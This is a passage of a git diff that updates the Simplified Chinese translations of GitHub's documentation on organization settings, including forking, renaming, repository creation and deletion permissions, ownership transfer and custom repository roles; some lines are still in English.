+默认情况下，新的组织被配置为禁止复刻私有{% ifversion ghes or ghec or ghae %}和内部{% endif %}仓库。
 
-If you allow forking of private{% ifversion ghes or ghec or ghae %} and internal{% endif %} repositories at the organization level, you can also configure the ability to fork a specific private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository. For more information, see "[Managing the forking policy for your repository](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)."
+如果您在组织级别上允许复刻私有{% ifversion ghes or ghec or ghae %}和内部{% endif %}仓库，则还可以配置复刻特定{% ifversion ghes or ghec or ghae %}或内部{% endif %}仓库的能力。 更多信息请参阅“[管理仓库的复刻政策](/github/administering-a-repository/managing-the-forking-policy-for-your-repository)”。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 1. Under "Repository forking", select **Allow forking of private {% ifversion ghec or ghes or ghae %}and internal {% endif %}repositories**.
 
    {%- ifversion fpt %}
-   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-fpt.png)
+   ![允许或禁止组织复刻的复选框](/assets/images/help/repository/allow-disable-forking-fpt.png)
    {%- elsif ghes or ghec or ghae %}
-   ![Checkbox to allow or disallow forking in the organization](/assets/images/help/repository/allow-disable-forking-organization.png)
+   ![允许或禁止组织复刻的复选框](/assets/images/help/repository/allow-disable-forking-organization.png)
    {%- endif %}
-6. Click **Save**.
+6. 单击 **Save（保存）**。
 
-## Further reading
+## 延伸阅读
 
-- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
+- "[关于复刻](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)"
 - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)"
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/renaming-an-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/renaming-an-organization.md
index 30bd57d2b3..3e98118147 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/renaming-an-organization.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/renaming-an-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Renaming an organization
-intro: 'If your project or company has changed names, you can update the name of your organization to match.'
+title: 重命名组织
+intro: 如果您的项目或公司已更改名称，您可以更新组织的名称以匹配。
 redirect_from:
   - /articles/what-happens-when-i-change-my-organization-s-name
   - /articles/renaming-an-organization
@@ -17,35 +17,34 @@ topics:
 
 {% tip %}
 
-**Tip:** Only organization owners can rename an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**提示：**只有组织所有者才能重命名组织。 {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
-## What happens when I change my organization's name?
+## 更改我的组织名称时会发生什么？
 
-After changing your organization's name, your old organization name becomes available for someone else to claim. When you change your organization's name, most references to your repositories under the old organization name automatically change to the new name. However, some links to your profile won't automatically redirect.
+更改组织名称后，您的旧组织名称可供其他人申请使用。 当您更改组织的名称后，在旧组织名称下对仓库的大多数引用都会更改为新名称。 不过，指向您个人资料的某些链接不会自动重定向。
 
-### Changes that occur automatically
+### 自动进行的更改
 
-- {% data variables.product.prodname_dotcom %} automatically redirects references to your repositories.  Web links to your organization's existing **repositories** will continue to work. This can take a few minutes to complete after you initiate the change.
-- You can continue pushing your local repositories to the old remote tracking URL without updating it. However, we recommend you update all existing remote repository URLs after changing your organization name. Because your old organization name is available for use by anyone else after you change it, the new organization owner can create repositories that override the redirect entries to your repository. For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
-- Previous Git commits will also be correctly attributed to users within your organization.
+- {% data variables.product.prodname_dotcom %} 将引用自动重定向到您的仓库。  指向您组织现有**仓库**的 Web 链接将继续有效。 启动更改后，可能需要几分钟时间才能完成。
+- 您可以继续将本地仓库推送到旧的远程跟踪 URL 而不进行更新。 但是，我们建议您在更改组织名称后更新所有现有的远程仓库 URL。 由于您的旧组织名称在更改后可供其他人使用，因此新组织所有者可以创建覆盖仓库重定向条目的仓库。 更多信息请参阅“[管理远程仓库](/github/getting-started-with-github/managing-remote-repositories)”。
+- 以前的 Git 提交也将正确归于组织内的用户。
 
-### Changes that aren't automatic
+### 并非自动的更改
 
-After changing your organization's name:
-- Links to your previous organization profile page, such as `https://{% data variables.command_line.backticks %}/previousorgname`, will return a 404 error. We recommend you update links to your organization from other sites{% ifversion fpt or ghec %}, such as your LinkedIn or Twitter profiles{% endif %}.
-- API requests that use the old organization's name will return a 404 error. We recommend you update the old organization name in your API requests.
-- There are no automatic [@mention](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams) redirects for teams that use the old organization's name.{% ifversion ghec %}
-- If SAML single sign-on (SSO) is enabled for the organization, you must update the organization name in the application for {% data variables.product.prodname_ghe_cloud %} on your identity provider (IdP). If you don't update the organization name on your IdP, members of the organization will no longer be able to authenticate with your IdP to access the organization's resources. For more information, see "[Connecting your identity provider to your organization](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization)."{% endif %}
+更改组织的名称后：
+- 指向以前组织资料页面的链接（例如 `https://{% data variables.command_line.backticks %}/previousorgname`）将返回 404 错误。 我们建议您更新其他站点指向组织的链接{% ifversion fpt or ghec %}，例如 LinkedIn 或 Twitter 个人资料{% endif %}。
+- 使用旧组织名称的 API 请求将返回 404 错误。 我们建议您更新 API 请求中的旧组织名称。
+- 对于使用旧组织名称的团队，没有自动[@提及](/articles/basic-writing-and-formatting-syntax/#mentioning-people-and-teams)重定向。{% ifversion ghec %}
+- 如果为组织启用了 SAML 单点登录 (SSO)，则必须在身份提供商 (IdP) 上更新 {% data variables.product.prodname_ghe_cloud %} 的应用程序中的组织名称。 如果您不更新 IdP 上的组织名称，组织成员将无法使用您的 IdP 身份验证来访问组织的资源。 更多信息请参阅“[将身份提供程序连接到组织](/github/setting-up-and-managing-organizations-and-teams/connecting-your-identity-provider-to-your-organization)”。{% endif %}
 
-## Changing your organization's name
+## 更改组织的名称
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
-4. Near the bottom of the settings page, under "Rename organization", click **Rename Organization**.
-  ![Rename organization button](/assets/images/help/settings/settings-rename-organization.png)
+4. 在设置页面底部附近的“Rename organization（重命名组织）”下，单击 **Rename Organization（重命名组织）**。 ![重命名组织按钮](/assets/images/help/settings/settings-rename-organization.png)
 
-## Further reading
+## 延伸阅读
 
-* "[Why are my commits linked to the wrong user?](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)"
+* “[我的提交为什么链接到错误的用户？](/pull-requests/committing-changes-to-your-project/troubleshooting-commits/why-are-my-commits-linked-to-the-wrong-user)”
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md b/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
index 7f1c181bd9..fe929d9881 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/restricting-repository-creation-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
-title: Restricting repository creation in your organization
-intro: 'To protect your organization''s data, you can configure permissions for creating repositories in your organization.'
+title: 限制在组织中创建仓库
+intro: 为保护组织的数据，您可以配置在组织中创建仓库的权限。
 redirect_from:
   - /articles/restricting-repository-creation-in-your-organization
   - /github/setting-up-and-managing-organizations-and-teams/restricting-repository-creation-in-your-organization
@@ -12,18 +12,18 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Restrict repository creation
+shortTitle: 限制仓库创建
 ---
 
-You can choose whether members can create repositories in your organization. If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}.
+您可以选择成员是否可以在组织中创建仓库。 If you allow members to create repositories, you can choose which types of repositories members can create.{% ifversion fpt or ghec %} To allow members to create private repositories only, your organization must use {% data variables.product.prodname_ghe_cloud %}.{% endif %}{% ifversion fpt %} For more information, see "[About repositories](/enterprise-cloud@latest/repositories/creating-and-managing-repositories/about-repositories)" in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}.
 
-Organization owners can always create any type of repository.
+组织所有者始终可以创建任何类型的仓库。
 {% ifversion ghec or ghae or ghes %}
 {% ifversion ghec or ghae %}Enterprise owners{% elsif ghes %}Site administrators{% endif %} can restrict the options you have available for your organization's repository creation policy.{% ifversion ghec or ghes or ghae %} For more information, see "[Restricting repository creation in your enterprise](/admin/policies/enforcing-repository-management-policies-in-your-enterprise#setting-a-policy-for-repository-creation)."{% endif %}{% endif %}
 
 {% warning %}
 
-**Warning**: This setting only restricts the visibility options available when repositories are created and does not restrict the ability to change repository visibility at a later time. For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
+**警告**：此设置仅限制在仓库创建时可用的可见性选项，而不会限制以后更改仓库可见性的能力。 For more information about restricting changes to existing repositories' visibilities, see "[Restricting repository visibility changes in your organization](/organizations/managing-organization-settings/restricting-repository-visibility-changes-in-your-organization)."
 
 {% endwarning %}
 
@@ -33,8 +33,8 @@ Organization owners can always create any type of repository.
 5. Under "Repository creation", select one or more options.
 
    {%- ifversion ghes or ghec or ghae %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
+   ![仓库创建选项](/assets/images/help/organizations/repo-creation-perms-radio-buttons.png)
    {%- elsif fpt %}
-   ![Repository creation options](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
+   ![仓库创建选项](/assets/images/help/organizations/repo-creation-perms-radio-buttons-fpt.png)
    {%- endif %}
-6. Click **Save**.
+6. 单击 **Save（保存）**。
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md b/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
index 44b80ce85d..2291a3aca7 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-adding-outside-collaborators.md
@@ -1,6 +1,6 @@
 ---
-title: Setting permissions for adding outside collaborators
-intro: 'To protect your organization''s data and the number of paid licenses used in your organization, you can allow only owners to invite outside collaborators to organization repositories.'
+title: 设置添加外部协作者的权限
+intro: 为了保护组织的数据和组织中使用的付费许可数，您可以只允许所有者邀请外部协作者加入组织仓库。
 product: '{% data reusables.gated-features.restrict-add-collaborator %}'
 redirect_from:
   - /articles/restricting-the-ability-to-add-outside-collaborators-to-organization-repositories
@@ -14,16 +14,15 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set collaborator policy
+shortTitle: 设置协作者策略
 ---
 
-Organization owners, and members with admin privileges for a repository, can invite outside collaborators to work on the repository. You can also restrict outside collaborator invite permissions to only organization owners.
+组织所有者和具有仓库管理员权限的成员可以邀请外部协作者处理仓库。 您还可以将外部协作者邀请权限仅限于组织所有者。
 
 {% data reusables.organizations.outside-collaborators-use-seats %}
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository invitations", select **Allow members to invite outside collaborators to repositories for this organization**.
-  ![Checkbox to allow members to invite outside collaborators to organization repositories](/assets/images/help/organizations/repo-invitations-checkbox-updated.png)
-6. Click **Save**.
+5. 在“Repository invitations（仓库邀请）”下，选择 **Allow members to invite outside collaborators to repositories for this organization（允许成员邀请外部协作者加入此组织的仓库）**。 ![允许成员邀请外部协作者加入组织仓库的复选框](/assets/images/help/organizations/repo-invitations-checkbox-updated.png)
+6. 单击 **Save（保存）**。
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md b/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
index 5309271e6e..f43860778f 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/setting-permissions-for-deleting-or-transferring-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Setting permissions for deleting or transferring repositories
-intro: 'You can allow organization members with admin permissions to a repository to delete or transfer the repository, or limit the ability to delete or transfer repositories to organization owners only.'
+title: 设置删除或转让仓库的权限
+intro: 您可以允许具有仓库管理员权限的组织成员删除或转让仓库，或者将删除或转让仓库的功能限制为仅组织所有者。
 redirect_from:
   - /articles/setting-permissions-for-deleting-or-transferring-repositories-in-your-organization
   - /articles/setting-permissions-for-deleting-or-transferring-repositories
@@ -13,14 +13,13 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Set repo management policy
+shortTitle: 设置仓库管理策略
 ---
 
-Owners can set permissions for deleting or transferring repositories in an organization.
+所有者可以设置删除或转让组织中仓库的权限。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.member-privileges %}
-5. Under "Repository deletion and transfer", select or deselect **Allow members to delete or transfer repositories for this organization**.
-![Checkbox to allow members to delete repositories](/assets/images/help/organizations/disallow-members-to-delete-repositories.png)
-6. Click **Save**.
+5. 在 Repository deletion and transfer（仓库删除和转让）下，选择或取消选择 **Allow members to delete or transfer repositories for this organization（允许成员删除或转让此组织的仓库）**。 ![允许成员删除仓库的复选框](/assets/images/help/organizations/disallow-members-to-delete-repositories.png)
+6. 单击 **Save（保存）**。
diff --git a/translations/zh-CN/content/organizations/managing-organization-settings/transferring-organization-ownership.md b/translations/zh-CN/content/organizations/managing-organization-settings/transferring-organization-ownership.md
index da79cb679b..d3d0d52391 100644
--- a/translations/zh-CN/content/organizations/managing-organization-settings/transferring-organization-ownership.md
+++ b/translations/zh-CN/content/organizations/managing-organization-settings/transferring-organization-ownership.md
@@ -1,6 +1,6 @@
 ---
-title: Transferring organization ownership
-intro: 'To make someone else the owner of an organization account, you must add a new owner{% ifversion fpt or ghec %}, ensure that the billing information is updated,{% endif %} and then remove yourself from the account.'
+title: 转让组织所有权
+intro: '要使其他人成为组织帐户的所有者，您必须添加新所有者{% ifversion fpt or ghec %}，确保帐单信息已更新，{% endif %}然后将自身从该帐户中删除。'
 redirect_from:
   - /articles/needs-polish-how-do-i-give-ownership-to-an-organization-to-someone-else
   - /articles/transferring-organization-ownership
@@ -13,25 +13,26 @@ versions:
 topics:
   - Organizations
   - Teams
-shortTitle: Transfer ownership
+shortTitle: 转移所有权
 ---
-{% ifversion fpt or ghec %}
+
+{% ifversion ghec %}
 {% note %}
 
-**Note:** {% data reusables.enterprise-accounts.invite-organization %}
+**注：**{% data reusables.enterprise-accounts.invite-organization %}
 
 {% endnote %}{% endif %}
 
-1. If you're the only member with *owner* privileges, give another organization member the owner role. For more information, see "[Appointing an organization owner](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner)."
-2. Contact the new owner and make sure he or she is able to [access the organization's settings](/articles/accessing-your-organization-s-settings).
+1. 如果您是具有*所有者*权限的唯一成员，则授予其他组织成员所有者角色。 更多信息请参阅“[任命组织所有者](/organizations/managing-peoples-access-to-your-organization-with-roles/maintaining-ownership-continuity-for-your-organization#appointing-an-organization-owner)”。
+2. 联系新的所有者，确保其能够[访问组织的设置](/articles/accessing-your-organization-s-settings)。
 {% ifversion fpt or ghec %}
-3. If you are currently responsible for paying for GitHub in your organization, you'll also need to have the new owner or a [billing manager](/articles/adding-a-billing-manager-to-your-organization/) update the organization's payment information. For more information, see "[Adding or editing a payment method](/articles/adding-or-editing-a-payment-method)."
+3. 如果您目前负责为组织中的 GitHub 付款，则还需要让新所有者或[帐单管理员](/articles/adding-a-billing-manager-to-your-organization/)更新组织的付款信息。 更多信息请参阅“[添加或编辑付款方式](/articles/adding-or-editing-a-payment-method)”。
 
   {% warning %}
 
-  **Warning**: Removing yourself from the organization **does not** update the billing information on file for the organization account. The new owner or a billing manager must update the billing information on file to remove your credit card or PayPal information.
+  **警告**：从组织中删除自身**不会**更新组织帐户存档的帐单信息。 新的所有者或帐单管理员必须更新存档的帐单信息，以删除您的信用卡或 PayPal 信息。
 
   {% endwarning %}
 
 {% endif %}
-4. [Remove yourself](/articles/removing-yourself-from-an-organization) from the organization.
+4. 从组织中[删除自身](/articles/removing-yourself-from-an-organization)。
diff --git a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
index e680619972..f89933d370 100644
--- a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/adding-a-billing-manager-to-your-organization.md
@@ -53,7 +53,7 @@ shortTitle: 添加帐单管理员
 {% ifversion ghec %}
 {% note %}
 
-**注意：** 如果您的组织使用 [企业帐户](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-account/about-enterprise-accounts) 管理，您将无法邀请组织一级的帐单管理员。
+**Note:** If your organization is owned by an enterprise account, you cannot invite billing managers at the organization level. 更多信息请参阅“[关于企业帐户](/admin/overview/about-enterprise-accounts)”。
 
 {% endnote %}
 {% endif %}
diff --git a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
index f7caf78b8b..66fbcad27b 100644
--- a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
+++ b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-custom-repository-roles-for-an-organization.md
@@ -1,7 +1,7 @@
 ---
 title: Managing custom repository roles for an organization
-intro: "You can more granularly control access to your organization's repositories by creating custom repository roles."
-permissions: 'Organization owners can manage custom repository roles.'
+intro: You can more granularly control access to your organization's repositories by creating custom repository roles.
+permissions: Organization owners can manage custom repository roles.
 versions:
   ghec: '*'
 topics:
@@ -30,22 +30,22 @@ When you create a custom repository role, you start by choosing an inherited rol
 
 Your options for the inherited role are standardized for different types of contributors in your repository.
 
-| Inherited role | Designed for |
-|----|----|
-| **Read** | Non-code contributors who want to view or discuss your project. |
-| **Triage** | Contributors who need to proactively manage issues and pull requests without write access. |
-| **Write** | Organization members and collaborators who actively push to your project. |
-| **Maintain** | Project managers who need to manage the repository without access to sensitive or destructive actions.
+| Inherited role | Designed for                                                                                           |
+| -------------- | ------------------------------------------------------------------------------------------------------ |
+| **读取**         | Non-code contributors who want to view or discuss your project.                                        |
+| **分类**         | Contributors who need to proactively manage issues and pull requests without write access.             |
+| **写入**         | Organization members and collaborators who actively push to your project.                              |
+| **维护**         | Project managers who need to manage the repository without access to sensitive or destructive actions. |
 
 ## Custom role examples
 
 Here are some examples of custom repository roles you can configure.
 
-| Custom repository role | Summary | Inherited role | Additional permissions |
-|----|----|----|----|
-| Security engineer | Able to contribute code and maintain the security pipeline | **Maintain** | Delete code scanning results |
-| Contractor | Able to develop webhooks integrations | **Write** | Manage webhooks |
-| Community manager | Able to handle all the community interactions without being able to contribute code | **Read** | - Mark an issue as duplicate <br> - Manage GitHub Page settings <br> - Manage wiki settings <br> - Set the social preview <br> - Edit repository metadata <br> - Triage discussions |
+| Custom repository role | 摘要                                                                                  | Inherited role | Additional permissions                                                                                                                                                                                            |
+| ---------------------- | ----------------------------------------------------------------------------------- | -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Security engineer      | Able to contribute code and maintain the security pipeline                          | **维护**         | Delete code scanning results                                                                                                                                                                                      |
+| Contractor             | Able to develop webhooks integrations                                               | **写入**         | Manage webhooks                                                                                                                                                                                                   |
+| Community manager      | Able to handle all the community interactions without being able to contribute code | **读取**         | - Mark an issue as duplicate <br> - Manage GitHub Page settings <br> - Manage wiki settings <br> - Set the social preview <br> - Edit repository metadata <br> - Triage discussions |
 
 ## Additional permissions for custom roles
 
@@ -58,34 +58,34 @@ You can only choose an additional permission if it's not already included in the
 - **Assign or remove a user**: Assign a user to an issue or pull request, or remove a user from an issue or pull request.
 - **Add or remove a label**: Add a label to an issue or a pull request, or remove a label from an issue or pull request.
 
-### Issue
+### 议题
 
 - **Close an issue**
 - **Reopen a closed issue**
 - **Delete an issue**
 - **Mark an issue as a duplicate**
 
-### Pull Request
+### 拉取请求
 
 - **Close a pull request**
 - **Reopen a closed pull request**
 - **Request a pull request review**: Request a review from a user or team.
 
-### Repository
+### 仓库
 
 - **Set milestones**: Add milestones to an issue or pull request.
 - **Manage wiki settings**: Turn on wikis for a repository.
 - **Manage project settings**: Turning on projects for a repository.
 - **Manage pull request merging settings**: Choose the type of merge commits that are allowed in your repository, such as merge, squash, or rebase.
-- **Manage {% data variables.product.prodname_pages %} settings**: Enable {% data variables.product.prodname_pages %} for the repository, and select the branch you want to publish. For more information, see "[Configuring a publishing source for your {% data variables.product.prodname_pages %} site](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)."
+- **Manage {% data variables.product.prodname_pages %} settings**: Enable {% data variables.product.prodname_pages %} for the repository, and select the branch you want to publish. 更多信息请参阅“[配置 {% data variables.product.prodname_pages %} 站点的发布来源](/pages/getting-started-with-github-pages/configuring-a-publishing-source-for-your-github-pages-site)”。
 - **Manage webhooks**: Add webhooks to the repository.
 - **Manage deploy keys**: Add deploy keys to the repository.
 - **Edit repository metadata**: Update the repository description as well as the repository topics.
 - **Set interaction limits**: Temporarily restrict certain users from commenting, opening issues, or creating pull requests in your public repository to enforce a period of limited activity. For more information, see "[Limiting interactions in your repository](/communities/moderating-comments-and-conversations/limiting-interactions-in-your-repository)."
-- **Set the social preview**: Add an identifying image to your repository that appears on social media platforms when your repository is linked. For more information, see "[Customizing your repository's social media preview](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview)."
+- **Set the social preview**: Add an identifying image to your repository that appears on social media platforms when your repository is linked. 更多信息请参阅“[自定义仓库的社交媒体审查](/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/customizing-your-repositorys-social-media-preview)”。
 - **Push commits to protected branches**: Push to a branch that is marked as a protected branch.
 
-### Security
+### 安全
 
 - **View {% data variables.product.prodname_code_scanning %} results**: Ability to view {% data variables.product.prodname_code_scanning %} alerts.
 - **Dismiss or reopen {% data variables.product.prodname_code_scanning %} results**: Ability to dismiss or reopen {% data variables.product.prodname_code_scanning %} alerts.
@@ -99,9 +99,9 @@ If a person is given different levels of access through different avenues, such
 
 If a person has been given conflicting access, you'll see a warning on the repository access page. The warning appears with "{% octicon "alert" aria-label="The alert icon" %} Mixed roles" next to the person with the conflicting access. To see the source of the conflicting access, hover over the warning icon or click **Mixed roles**.
 
-To resolve conflicting access, you can adjust your organization's base permissions or the team's access, or edit the custom role. For more information, see:
-  - "[Setting base permissions for an organization](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)"
-  - "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)"
+To resolve conflicting access, you can adjust your organization's base permissions or the team's access, or edit the custom role. 更多信息请参阅：
+  - “[设置组织的基本权限](/github/setting-up-and-managing-organizations-and-teams/setting-base-permissions-for-an-organization)”
+  - "[管理团队对组织仓库的访问](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)"
   - "[Editing a repository role](#editing-a-repository-role)"
 
 ## Creating a repository role
@@ -113,18 +113,12 @@ To create a new repository role, you add permissions to an inherited role and gi
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-5. Click **Create a Role**.
-  ![Screenshot of "Create a Role" button](/assets/images/help/organizations/repository-role-create-role.png)
-4. Under "Name", type the name of your repository role.
-  ![Field to type a name for the repository role](/assets/images/help/organizations/repository-role-name.png)
-5. Under "Description", type a description of your repository role.
-  ![Field to type a description for the repository role](/assets/images/help/organizations/repository-role-description.png)
-6. Under "Choose a role to inherit", select the role you want to inherit.
-  ![Selecting repository role base role option](/assets/images/help/organizations/repository-role-base-role-option.png)
-7. Under "Add Permissions", use the drop-down menu to select the permissions you want your custom role to include.
-  ![Selecting permission levels from repository role drop-down](/assets/images/help/organizations/repository-role-drop-down.png)
-7. Click **Create role**.
-  ![Confirm creating a repository role](/assets/images/help/organizations/repository-role-creation-confirm.png)
+5. Click **Create a Role**. ![Screenshot of "Create a Role" button](/assets/images/help/organizations/repository-role-create-role.png)
+4. Under "Name", type the name of your repository role. ![Field to type a name for the repository role](/assets/images/help/organizations/repository-role-name.png)
+5. Under "Description", type a description of your repository role. ![Field to type a description for the repository role](/assets/images/help/organizations/repository-role-description.png)
+6. Under "Choose a role to inherit", select the role you want to inherit. ![Selecting repository role base role option](/assets/images/help/organizations/repository-role-base-role-option.png)
+7. Under "Add Permissions", use the drop-down menu to select the permissions you want your custom role to include. ![Selecting permission levels from repository role drop-down](/assets/images/help/organizations/repository-role-drop-down.png)
+7. Click **Create role**. ![Confirm creating a repository role](/assets/images/help/organizations/repository-role-creation-confirm.png)
 
 ## Editing a repository role
 
@@ -133,10 +127,8 @@ To create a new repository role, you add permissions to an inherited role and gi
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-3. To the right of the role you want to edit, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**.
-  ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-edit-setting.png)
-4. Edit, then click **Update role**.
-  ![Edit fields and update repository roles](/assets/images/help/organizations/repository-role-update.png)
+3. To the right of the role you want to edit, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Edit**. ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-edit-setting.png)
+4. Edit, then click **Update role**. ![Edit fields and update repository roles](/assets/images/help/organizations/repository-role-update.png)
 
 ## Deleting a repository role
 
@@ -147,7 +139,5 @@ If you delete an existing repository role, all pending invitations, teams, and u
 {% data reusables.organizations.org_settings %}
 {% data reusables.organizations.org-list %}
 {% data reusables.organizations.org-settings-repository-roles %}
-3. To the right of the role you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**.
-  ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-delete-setting.png)
-4. Review changes for the role you want to remove, then click **Delete role**.
-  ![Confirm deleting a repository role](/assets/images/help/organizations/repository-role-delete-confirm.png)
+3. To the right of the role you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**. ![Edit option in drop-down menu for repository roles](/assets/images/help/organizations/repository-role-delete-setting.png)
+4. Review changes for the role you want to remove, then click **Delete role**. ![Confirm deleting a repository role](/assets/images/help/organizations/repository-role-delete-confirm.png)
diff --git a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
index 18080088ac..13e5bbeab4 100644
--- a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
+++ b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization.md
@@ -21,10 +21,14 @@ permissions: Organization owners can assign the security manager role.
 Members of a team with the security manager role have only the permissions required to effectively manage security for the organization.
 
 - Read access on all repositories in the organization, in addition to any existing repository access
-- Write access on all security alerts in the organization
-- Access to the organization's security overview
-- The ability to configure security settings at the organization level, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}
-- The ability to configure security settings at the repository level, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}
+- Write access on all security alerts in the organization {% ifversion not fpt %}
+- Access to the organization's security overview {% endif %}
+- The ability to configure security settings at the organization level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
+- The ability to configure security settings at the repository level{% ifversion not fpt %}, including the ability to enable or disable {% data variables.product.prodname_GH_advanced_security %}{% endif %}
+
+{% ifversion fpt %}
+Additional functionality, including a security overview for the organization, is available in organizations that use {% data variables.product.prodname_ghe_cloud %} with {% data variables.product.prodname_advanced_security %}. For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).
+{% endif %}
 
 If a team has the security manager role, people with admin access to the team and a specific repository can change the team's level of access to that repository but cannot remove the access. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository){% ifversion ghes %}."{% else %} and "[Managing teams and people with access to your repository](/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-teams-and-people-with-access-to-your-repository)."{% endif %}
 
diff --git a/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md b/translations/zh-CN/content/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization.md
index a62d2b892d..6be9c01fbd 100644
